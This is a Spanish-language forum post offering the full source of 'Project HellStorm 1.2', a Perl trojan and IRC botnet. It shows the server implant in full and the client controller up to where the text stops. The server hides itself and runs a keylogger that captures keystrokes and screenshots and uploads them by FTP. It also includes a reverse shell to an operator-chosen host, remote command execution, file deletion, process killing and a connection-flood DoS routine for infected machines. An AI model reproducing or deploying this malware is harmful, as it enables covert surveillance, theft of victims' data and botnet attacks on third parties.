[Perl] Project HellStorm 1.2

Iniciado por BigBear, Octubre 23, 2015, 10:07:07 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 23, 2015, 10:07:07 PM Ultima modificación: Octubre 23, 2015, 10:21:24 PM por Doddy
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

    Una imagen :



    Los codigos :

    server.pl

    Código: perl

    #!usr/bin/perl
    #Project HellStorm 1.2
    #(C) Doddy Hackman 2015
    #Necessary modules
    #
    #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
    #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
    #
    #Use "perl2exe -gui server.pl" to hide console
    #

    use Win32::OLE;
    use Win32::OLE qw(in);
    use Win32::Process;
    use Win32;
    use Win32::API;
    use Win32::GuiTest
      qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
    use Win32::Clipboard;
    use threads;
    use Net::FTP;
    use Win32::File;
    use Cwd;
    use IO::Socket;
    use Win32::Job;
    use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    # FTP Configuration

    my $host_ftp = "localhost";    # Edit
    my $user_ftp = "doddy";        # Edit
    my $pass_ftp = "123";          # Edit

    # IRC Configuration

    my $host_irc  = "localhost";    # Edit
    my $canal_irc = "#locos";       # Edit
    my $port_irc  = "6667";         # Edit
    my $nick_irc  = dameip();       # Edit

    # Threads

    # You must comment on the thread that you will not use

    my $comando4 = threads->new( \&conexion_directa );

    #my $comando5 = threads->new( \&keylogger );
    #my $comando6 = threads->new(\&ircnow);

    $comando4->join();

    #$comando5->join();

    #$comando6->join();

    #

    sub ircnow {

        my $soquete = new IO::Socket::INET(
            PeerAddr => $host_irc,
            PeerPort => $port_irc,
            Proto    => "tcp"
        );

        print $soquete "NICK $nick_irc\r\n";
        print $soquete "USER $nick_irc 1 1 1 1\r\n";
        print $soquete "JOIN $canal_irc\r\n";

        while ( my $logar = <$soquete> ) {
            print "\r\n";
            chomp($logar);

            if ( $logar =~ /^PING(.*)$/i ) {
                print $soquete "PONG $1\r\n";
            }

            if ( $logar =~ /:$nick_irc help/g ) {

                my @commands = (
                    "msgbox <>",            "getinfo",
                    "cmd <>",               "dir",
                    "cd <>",                "del <>",
                    "rename :<>:<>:",       "cwd",
                    "verlogs",              "word :<>:",
                    "crazymouse",           "cambiarfondo :<>:",
                    "opencd",               "closedcd",
                    "dosattack :<>:<>:<>:", "speak :<>:",
                    "iniciochau",           "iniciovuelve",
                    "iconochau",            "iconovuelve",
                    "backshell :<>:<>:",    "procesos",
                    "cerrarproceso  :<>:<>:"
                );

                print $soquete
                  "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
                print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
                for (@commands) {
                    print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
                my $msg = $1;
                chomp $msg;
                cheats( "mensaje", $msg );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc getinfo/g ) {
                my $re = getinfo();
                if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
                    print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
                my $cmda = $1;
                chomp $cmda;
                my @re = cmd($cmda);
                for (@re) {
                    print $soquete "PRIVMSG $canal_irc : $_\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc dir/ ) {
                my @files = navegador("listar");
                for (@files) {
                    if ( -f $_ ) {
                        print $soquete "PRIVMSG $canal_irc : [File] : " . $_
                          . "\r\n";
                    }
                    else {
                        print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
                          . "\r\n";
                    }
                }
            }

            if ( $logar =~ /:$nick_irc cd (.*)/ ) {
                my $di = $1;
                chomp $di;
                if ( navegador( "cd", $di ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc del (.*)/ ) {
                my $file = $1;
                chomp $file;
                if ( navegador( "borrar", $1 ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
                my ( $a, $b ) = ( $1, $2 );
                if ( navegador( "rename", $a, $b ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
                }
                else {
                    print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cwd/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Directory : "
                  . getcwd() . "\r\n";
            }

            if ( $logar =~ /:$nick_irc verlogs/ ) {
                print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
                my @word = openfilex("logs.txt");
                for (@word) {
                    sleep 3;
                    print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
                my $msg = $1;
                cheats( "word", $msg );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc crazymouse/ig ) {
                cheats("crazymouse");
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
                my $url = $1;
                chomp $url;
                cheats( "cambiarfondo", $url );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc opencd/ig ) {
                cheats( "cd", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc closedcd/ig ) {
                cheats( "cd", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
                my ( $i, $p, $t ) = ( $1, $2, $3 );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
                dosattack( $i, $p, $t );
            }

            if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
                my $t = $1;
                chomp $t;
                cheats( "speak", $t );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iniciochau/ ) {
                cheats( "inicio", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
                cheats( "inicio", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iconochau/ ) {
                cheats( "iconos", "1" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc iconovuelve/ ) {
                cheats( "iconos", "0" );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
                backshell( $1, $2 );
                print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
            }

            if ( $logar =~ /:$nick_irc procesos/ ) {

                my %vida = adminprocess("listar");
                print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
                  . int( keys %vida ) . "\r\n";
                for my $data ( keys %vida ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Process : "
                      . $data
                      . " [+] PID : "
                      . $vida{$data} . "\r\n";
                }
            }

            if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
                my ( $b, $a ) = ( $1, $2 );
                if ( adminprocess( "cerrar", $a, $b ) ) {
                    print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
                }
            }

        }
    }

    sub conexion_directa {

        my $sock = IO::Socket::INET->new(
            LocalPort => 666,
            Listen    => 10,
            Proto     => 'tcp',
            Reuse     => 1
        );

        while ( my $con = $sock->accept ) {
            $resultado = <$con>;

            if ( $resultado =~ /msgbox (.*)/ig ) {
                my $msg = $1;
                cheats( "mensaje", $msg );
            }

            if ( $resultado =~ /infor/ig ) {
                print $con getinfo();
            }

            if ( $resultado =~ /word :(.*):/ig ) {
                my $msg = $1;
                cheats( "word", $msg );
            }

            if ( $resultado =~ /crazymouse/ig ) {
                cheats("crazymouse");
            }

            if ( $resultado =~ /cambiarfondo (.*)/ig ) {
                my $url = $1;
                cheats( "cambiarfondo", $url );
            }

            if ( $resultado =~ /opencd/ig ) {
                cheats( "cd", "1" );
            }

            if ( $resultado =~ /closedcd/ig ) {
                cheats( "cd", "0" );
            }

            if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
                my ( $i, $p, $t ) = ( $1, $2, $3 );
                dosattack( $i, $p, $t );
            }

            if ( $resultado =~ /speak :(.*):/ig ) {
                my $t = $1;
                cheats( "speak", $t );
            }

            if ( $resultado =~ /iniciochau/ ) {
                cheats( "inicio", "1" );
            }
            if ( $resultado =~ /iniciovuelve/ ) {
                cheats( "inicio", "0" );
            }

            if ( $resultado =~ /iconochau/ ) {
                cheats( "iconos", "1" );
            }
            if ( $resultado =~ /iconovuelve/ ) {
                cheats( "iconos", "0" );
            }

            if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
                backshell( $1, $2 );
            }

            if ( $resultado =~ /comando :(.*):/ig ) {
                my $cmd = $1;
                my @re  = cmd($cmd);
                print $con @re;
            }

            if ( $resultado =~ /mostrarpro/ ) {

                my %vida = adminprocess("listar");

                for my $data ( keys %vida ) {
                    print $con "PROXEC" . $data . "PROXEC\r\n";
                    print $con "PIDX" . $vida{$data} . "PIDX\r\n";
                }

            }

            if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
                my ( $b, $a ) = ( $1, $2 );
                if ( adminprocess( "cerrar", $a, $b ) ) {
                    print $con "ok";
                }
            }

            if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
                my $di = $1;
                if ( navegador( "cd", $di ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
                if ( navegador( "borrar", $1 ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
                if ( navegador( "borrar", $1 ) ) {
                    print $con "ok";
                }
            }
            if ( $resultado =~ /rename :(.*):(.*):/ ) {
                my ( $a, $b ) = ( $1, $2 );
                if ( navegador( "rename", $a, $b ) ) {
                    print $con "ok";
                }
            }

            if ( $resultado =~ /getcwd/ ) {
                print $con getcwd();
            }

            if ( $resultado =~ /verlogs/ ) {
                print $con openfile("logs.txt");
            }

            if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
                my @files = navegador("listar");
                for (@files) {
                    if ( -f $_ ) {
                        print $con "FILEX" . $_ . "FILEX" . "\r\n";
                    }
                    else {
                        print $con "DIREX" . $_ . "DIREX" . "\r\n";
                    }
                }
            }
        }
    }

    sub keylogger {

        my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
        my $tengo = 0;

        hideit( $0, "hide" );

        my $comando1 = threads->new( \&capture_windows );
        my $comando2 = threads->new( \&capture_keys );
        my $comando3 = threads->new( \&capture_screen );

        $comando1->join();
        $comando2->join();
        $comando3->join();

        sub capture_windows {

            while (1) {

                my $win1 = GetForegroundWindow();
                my $win2 = GetForegroundWindow();

                if ( $win1 != $win2 ) {
                    my $nombre = GetWindowText($win1);
                    chomp($nombre);
                    if ( $nombre ne "" ) {
                        savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
                    }
                }
            }
            return 1;
        }

        sub capture_keys {

            while (1) {

                my $test1;
                my $test2;

                for my $num ( 0x30 .. 0x39 ) {

                    if ( dame($num) ) {
                        savefile( "logs.txt", chr($num) );
                    }
                }

                if ( dame(0x14) ) {
                    $test1 = 1;
                    $tengo++;
                }

                for my $num ( 0x41 .. 0x5A ) {

                    if ( dame($num) ) {

                        if ( dame(0x20) ) {
                            savefile( "logs.txt", " " );
                        }

                        if ( dame(0x32) ) {
                            savefile( "logs.txt", "\n[enter]\n\n" );
                        }

                        unless ( verpar($tengo) eq 1 ) {
                            savefile( "logs.txt", chr($num) );
                        }

                        if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
                            $test2 = 1;
                        }

                        unless ( $test1 eq 1 or $test2 eq 1 ) {
                            if ( $num >= 0x41 ) {
                                if ( $num <= 0x5A ) {
                                    if ( verpar($tengo) eq 1 ) {
                                        savefile( "logs.txt", chr( $num + 32 ) );
                                    }
                                }
                            }
                        }
                    }
                }
            }
            return 1;
        }

        sub capture_screen {

            $numero = 0;

            while (1) {

                sleep 120;

                subirftp( "logs.txt", "logs.txt" );

                $numero++;

                SendKeys("%{PRTSCR}");

                my $a = Win32::Clipboard::GetBitmap();

                open( FOTO, ">" . $numero . ".bmp" );
                binmode(FOTO);
                print FOTO $a;
                close FOTO;

                hideit( $numero . ".bmp", "hide" );
                subirftp( $numero . ".bmp", $numero . ".bmp" );
            }
        }

        sub dame {
            return ( $come->Call(@_) & 1 );
        }

        sub savefile {

            open( SAVE, ">>" . $_[0] );
            print SAVE $_[1];
            close SAVE;

            hideit( $_[0], "hide" );

        }

        sub hideit {
            if ( $_[1] eq "show" ) {
                Win32::File::SetAttributes( $_[0], NORMAL );
            }
            elsif ( $_[1] eq "hide" ) {
                Win32::File::SetAttributes( $_[0], HIDDEN );
            }
            else {
                print "error\n";
            }
        }

        sub subirftp {

            if ( $ser = Net::FTP->new($host_ftp) ) {
                if ( $ser->login( $user_ftp, $pass_ftp ) ) {
                    $ser->mkdir( getmyip() );
                    $ser->binary();
                    if (
                        $ser->put(
                            getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
                        )
                      )
                    {
                        return true;
                    }
                }
                $ser->close;
            }
        }

        sub verpar {
            return ( $_[0] % 2 == 0 ) ? "1" : "2";
        }

        sub getmyip {
            my $get = gethostbyname("");
            return inet_ntoa($get);
        }

    }

    sub getinfo {
        return
            ":"
          . Win32::DomainName() . ":"
          . Win32::GetChipName() . ":"
          . Win32::GetOSVersion() . ":"
          . Win32::LoginName() . ":"
          . Win32::GetOSName() . ":";
    }

    sub cheats {

        my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
        my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );

        if ( $_[0] eq "cambiarfondo" ) {
            my $file = $_[1];
            my $as =
              new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
            $as->Call( 20, 0, $file, 0 );
        }

        if ( $_[0] eq "speak" ) {
            my $texta  = $_[1];
            my $hablax = Win32::OLE->new("SAPI.SpVoice");
            $hablax->Speak( $texta, 0 );
        }

        if ( $_[0] eq "crazymouse" ) {
            for my $number ( 1 .. 666 ) {
                MouseMoveAbsPix( $number, $number );
            }
        }

        if ( $_[0] eq "word" ) {
            my $text = $_[1];
            system("start winword.exe");
            sleep 4;
            SendKeys($text);
        }

        if ( $_[0] eq "cd" ) {

            my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
            my $rta = ' ' x 127;
            if ( $_[1] eq "1" ) {
                $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
            }
            else {
                $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
            }
        }

        if ( $_[0] eq "inicio" ) {

            if ( $_[1] eq "1" ) {
                $handlex = $as->Call( "Shell_TrayWnd", 0 );
                $b->Call( $handlex, 0 );
            }
            else {
                $handlex = $as->Call( "Shell_TrayWnd", 0 );
                $b->Call( $handlex, 1 );
            }

        }

        if ( $_[0] eq "iconos" ) {

            if ( $_[1] eq "1" ) {

                $handle = $as->Call( 0, "Program Manager" );
                $b->Call( $handle, 0 );
            }
            else {
                $handle = $as->Call( 0, "Program Manager" );
                $b->Call( $handle, 1 );
            }
        }

        if ( $_[0] eq "mensaje" ) {
            if ( $_[1] ne "" ) {
                my $msg = $_[1];
                chomp $msg;
                Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
            }
        }
    }

    sub backshell {

        my ( $ip, $port ) = ( $_[0], $_[1] );

        $ip =~ s/(\s)+$//;
        $port =~ s/(\s)+$//;

        conectar( $ip, $port );
        tipo();

        sub conectar {
            socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
            connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
            open( STDIN,  ">&REVERSE" );
            open( STDOUT, ">&REVERSE" );
            open( STDERR, ">&REVERSE" );
        }

        sub tipo {
            print "\n[*] Reverse Shell Starting...\n\n";
            if ( $^O =~ /Win32/ig ) {
                infowin();
                system("cmd.exe");
            }
            else {
                infolinux();
                system("export TERM=xterm;exec sh -i");
            }
        }

        sub infowin {
            print "[+] Domain Name : " . Win32::DomainName() . "\n";
            print "[+] OS Version : " . Win32::GetOSName() . "\n";
            print "[+] Username : " . Win32::LoginName() . "\n\n\n";
        }

        sub infolinux {
            print "[+] System information\n\n";
            system("uname -a");
            print "\n\n";
        }
    }

    sub cmd {

        my $job = Win32::Job->new;
        $job->spawn(
            "cmd",
            qq{cmd /C $_[0]},
            {
                no_window => "true",
                stdout    => "logx.txt",
                stderr    => "logx.txt"
            }
        );
        $ok = $job->run("30");
        open( F, "logx.txt" );
        @words = <F>;
        close F;
        unlink("logx.txt");
        return @words;
    }

    sub adminprocess {

        if ( $_[0] eq "listar" ) {
            my %procesos;

            my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
            my $dos = $uno->ConnectServer( "", "root\\cimv2" );

            foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
                $procesos{ $pro->{Caption} } = $pro->{ProcessId};
            }
            return %procesos;
        }

        if ( $_[0] eq "cerrar" ) {

            my ( $numb, $pid ) = ( $_[1], $_[2] );

            if ( Win32::Process::KillProcess( $pid, $numb ) ) {
                return true;
            }
            else {
                return false;
            }
        }
    }

    sub navegador {

        my $dir = $_[1];

        chomp $dir;

        $dir =~ s/(\s)+$//;

        if ( $_[0] eq "borrar" ) {
            if ( -f $_[1] ) {
                if ( unlink( getcwd() . "/" . $_[1] ) ) {
                    return true;
                }
                else {
                    return false;
                }
            }
            else {
                if ( rmdir( getcwd() . "/" . $_[1] ) ) {
                    return true;
                }
                else {
                    return false;
                }
            }
        }
        if ( $_[0] eq "cd" ) {
            if ( chdir $dir ) {
                return true;
            }
            else {
                return false;
            }
        }
        if ( $_[0] eq "rename" ) {
            if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
                return true;
            }
            else {
                return false;
            }
        }
        if ( $_[0] eq "listar" ) {
            my @archivos = coleccionar( getcwd() );
            my @all;
            for my $test (@archivos) {
                push( @all, $test );
            }
            return @all;
        }

        sub coleccionar {
            opendir DIR, $_[0];
            my @archivos = readdir DIR;
            close DIR;
            return @archivos;
        }
    }

    sub dosattack {
        for ( 1 .. $_[2] ) {
            IO::Socket::INET->new(
                PeerAddr => $_[0],
                PeerPort => $_[1],
                Proto    => "tcp"
            );
        }
    }

    sub openfile {
        my $r;
        open( FILE, $_[0] );
        @wor = <FILE>;
        close FILE;
        for (@wor) {
            $r .= $_;
        }
        return $r;
    }

    sub openfilex {
        my @wor;
        open( FILE, $_[0] );
        @wor = <FILE>;
        close FILE;
        return @wor;
    }

    sub encriptar {

        my ( $text, $op ) = @_;

        my @re;
        my @va = split( "", $text );

        my %valor = (
            "1" => "a",
            "2" => "b",
            "3" => "c",
            "4" => "d",
            "5" => "e",
            "6" => "f",
            "7" => "g",
            "8" => "h",
            "9" => "i",
            "0" => "j",
            "." => "k"
        );

        if ( $op eq "encode" ) {
            for my $letra (@va) {
                for my $data ( keys %valor ) {
                    if ( $data eq $letra ) {
                        $letra =~ s/$data/$valor{$data}/g;
                        push( @re, $letra );
                    }
                }
            }
        }
        if ( $op eq "decode" ) {
            for my $letra (@va) {
                for my $data ( keys %valor ) {
                    if ( $valor{$data} eq $letra ) {
                        $letra =~ s/$valor{$data}/$data/g;
                        push( @re, $letra );
                    }
                }
            }
        }
        return @re;
    }

    sub dameip {

        my @wor = encriptar( getmyip(), "encode" );

        for (@wor) {
            $resultado .= $_;
        }
        return $resultado;
    }

    # The End ?


    client.pl

    Código: perl

    #!usr/bin/perl
    #Project HellStorm 1.2
    #(C) Doddy Hackman 2015

    use IO::Socket;
    use Cwd;

    &menu;

    # Functions

    sub clean {
        my $os = $^O;
        if ( $os =~ /Win32/ig ) {
            system("cls");
        }
        else {
            system("clear");
        }
    }

    sub head {

        clean();

        print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";

    }

    sub menu {

        &head;

        print "[+] Target : ";
        chomp( my $ip = <STDIN> );

        my $socket = new IO::Socket::INET(
            PeerAddr => $ip,
            PeerPort => 666,
            Proto    => 'tcp',
            Timeout  => 5
        );

        if ($socket) {
            $socket->close;
            &menuo($ip);
        }
        else {
            print "\n\n[-] Server not infected\n";
            <STDIN>;
            &menu;
        }

    }

    sub menuo {

        &head;

        print "[$_[0]] : Online\n\n";
        print q(
    1 : Information
    2 : Files Manager
    3 : Open CD
    4 : Close CD
    5 : Talk
    6 : Message
    7 : Console
    8 : Hide taskbar
    9 : Show taskbar
    10 : Hide Icons
    11 : Show Icons
    12 : Process Manager
    13 : Reverse Shell
    14 : DOS Attack
    15 : Change Wallpaper
    16 : Word Writer
    17 : Move Mouse
    18 : See logs keylogger
    19 : Change target
    20 : Exit


    );
        print "[Option] : ";
        chomp( my $opcion = <STDIN> );

        if ( $opcion eq 1 ) {
            print "\n\n[+] Information\n\n";
            $re = daryrecibir( $_[0], "infor" );
            if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
                print "[+] Domain : $1\n";
                print "[+] Chip : $2\n";
                print "[+] Version : $3\n";
                print "[+] Username : $4\n";
                print "[+] OS : $5\n";
                print "\n[+] Press any key to continue\n";
                <stdin>;
            }
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 2 ) {

          menu1:
            print "\n\n[+] Files Manager\n\n";
            $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
            show( $_[0], "/" );
            &menu2;

            sub menu2 {
                print "\n\n[Options]\n\n";
                print "1 - Change directory\n";
                print "2 - Rename\n";
                print "3 - Delete File\n";
                print "4 - Delete Directory\n";
                print "5 - Return to menu\n\n";
                print "[Opcion] : ";
                chomp( my $op = <stdin> );

                if ( $op eq 1 ) {
                    print "\n\n[+] Directory : ";
                    chomp( my $dir = <stdin> );
                    $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
                    if ( $ver =~ /ok/ig ) {
                        print "\n\n[+] Directory changed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                        <stdin>;
                    }
                    show( $_[0], $dir );
                    &menu2;
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 2 ) {
                    print "\n\n[+] Name : ";
                    chomp( my $old = <stdin> );
                    print "\n\n[+] New name : ";
                    chomp( my $new = <stdin> );
                    $re = daryrecibir( $_[0], "rename :$old:$new:" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] File renamed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 3 ) {
                    print "\n\n[+] File to delete : ";
                    chomp( my $file = <stdin> );
                    $re =
                      daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] File deleted\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 4 ) {
                    print "\n\n[+] Directory to delete : ";
                    chomp( my $file = <stdin> );
                    $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
                    if ( $re =~ /ok/ ) {
                        print "\n\n[+] Directory deleted\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                }

                elsif ( $op eq 5 ) {
                    &menuo( $_[0] );

                }
                else {
                    show( $_[0], "/" );
                }
                goto menu1;
            }
        }

        elsif ( $opcion eq 3 ) {
            daryrecibir( $_[0], "opencd" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 4 ) {
            daryrecibir( $_[0], "closedcd" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 5 ) {
            print "\n\n[+] Talk : ";
            chomp( my $talk = <stdin> );
            $re = daryrecibir( $_[0], "speak :$talk:" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 6 ) {
            print "\n[+] Message : ";
            chomp( my $msg = <stdin> );
            daryrecibir( $_[0], "msgbox $msg" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 7 ) {

          menu:

            my $cmd, $re;

            print "\n\n>";

            chomp( my $cmd = <stdin> );

            if ( $cmd =~ /exit/ig ) {
                print "\n[+] Press any key to continue\n";
                <stdin>;
                &menuo( $_[0] );
            }

            $re = daryrecibir( $_[0], "comando :$cmd:" );
            print "\n" . $re;
            goto menu;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 8 ) {
            daryrecibir( $_[0], "iniciochau" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 9 ) {
            daryrecibir( $_[0], "iniciovuelve" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 10 ) {
            daryrecibir( $_[0], "iconochau" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 11 ) {
            daryrecibir( $_[0], "iconovuelve" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }

        elsif ( $opcion eq 12 ) {

            &reload( $_[0] );

            sub reload {

                my @pro;
                my @pids;

                my $sockex = new IO::Socket::INET(
                    PeerAddr => $_[0],
                    PeerPort => 666,
                    Proto    => 'tcp',
                    Timeout  => 5
                );

                print $sockex "mostrarpro" . "\r\n";
                $sockex->read( $re, 5000 );
                $sockex->close;

                chomp $re;

                print "\n\n[+] Process Found\n\n";

                while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
                    if ( $1 ne "" ) {
                        push( @pro, $1 );
                    }
                }

                while ( $re =~ /PIDX(.*?)PIDX/ig ) {
                    if ( $1 ne "" ) {
                        push( @pids, $1 );
                    }
                }

                $cantidad = int(@pro);

                for my $num ( 1 .. $cantidad ) {
                    if ( $pro[$num] ne "" ) {
                        print "\n[+] Process : " . $pro[$num] . "\n";
                        print "[+] PID : " . $pids[$num] . "\n";
                    }
                }

                print q(

    [Options]


    1 - Refresh list
    2 - Close process
    3 - Return to menu

    );

                print "\n[Option] :  ";
                chomp( my $opc = <stdin> );

                if ( $opc =~ /1/ig ) {
                    &reload( $_[0] );
                }
                elsif ( $opc =~ /2/ig ) {
                    print "\n[+] Write the name of the process : ";
                    chomp( my $numb = <stdin> );
                    print "\n[+] Write the PID of the process : ";
                    chomp( my $pid = <stdin> );
                    $re = daryrecibir( $_[0],
                        "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
                    if ( $re =~ /ok/ig ) {
                        print "\n\n[+] Proceso killed\n\n";
                    }
                    else {
                        print "\n\n[-] Error\n\n";
                    }
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                    &reload( $_[0] );
                }
                elsif ( $opc =~ /3/ig ) {
                    print "\n[+] Press any key to continue\n";
                    <stdin>;
                    &menuo( $_[0] );
                }
                else {
                    &reload;
                }
            }
        }

        elsif ( $opcion eq 13 ) {
            print "\n\n[+] IP : ";
            chomp( my $ip = <stdin> );
            print "\n\n[+] Port : ";
            chomp( my $port = <stdin> );
            print "\n\n[+] Connected !!!\n\n";
            $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
        }
        elsif ( $opcion eq 14 ) {
            print "\n\n[+] IP : ";
            chomp( my $ipx = <stdin> );
            print "\n\n[+] Port : ";
            chomp( my $por = <stdin> );
            print "\n\n[+] Count : ";
            chomp( my $count = <stdin> );
            print "\n\n[+] Command Send !!!!\n\n";
            daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
